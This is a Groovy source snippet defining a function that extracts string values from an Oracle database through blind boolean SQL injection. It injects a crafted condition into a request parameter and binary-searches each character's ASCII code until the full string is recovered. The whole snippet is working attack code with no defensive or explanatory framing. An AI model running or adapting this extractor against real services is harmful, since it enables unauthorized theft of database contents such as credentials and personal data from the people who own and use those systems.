// get String (VARCHAR2)
def getString(String positiveValue, String sqlText) {
// -------------------------------------------------------
// get a string (VARCHAR2) as a result of a select statement - sqlText
// positiveValue - a parameter that returns some data from the service
// sqlText - a select statement returning a single varchar2 column named text
// 
println "read a string value using injection string:"
println """${positiveValue}' and \${checkedASCIIValue} > 
 (select ascii(substr(text,\${i-thPosition},1)) from (${sqlText})) and '1'='1"""
// get the length of the string first
println "get the length of the string first..."
def length =  getNumber(positiveValue, "select length(text) from (${sqlText})")
// now get the string 
String res = ""
String x
// length loop
(1..length).each { i ->
  //println "guess the ${i}. position of the string"
  int  Lo = 32 // printable ASCII
  int Hi =  126
  while (Lo < Hi) {
    int check = Lo +  (Hi - Lo + 1)/ 2
    println "testing ${check} ..."
    x = """${positiveValue}' and ${check} > 
      (select ascii(substr(text,${i},1)) from (${sqlText})) and '1'='1"""
    // 
    if (isFound(x))  {Hi = ((char)((int)check)-1);  println 'higher'} else
      {Lo = check; println 'lower or equal'}
  }
  println "${i}. position = $Lo  ${((char)Lo)}"
  res += ((char)Lo)
}
println "found ${res}"
return res
}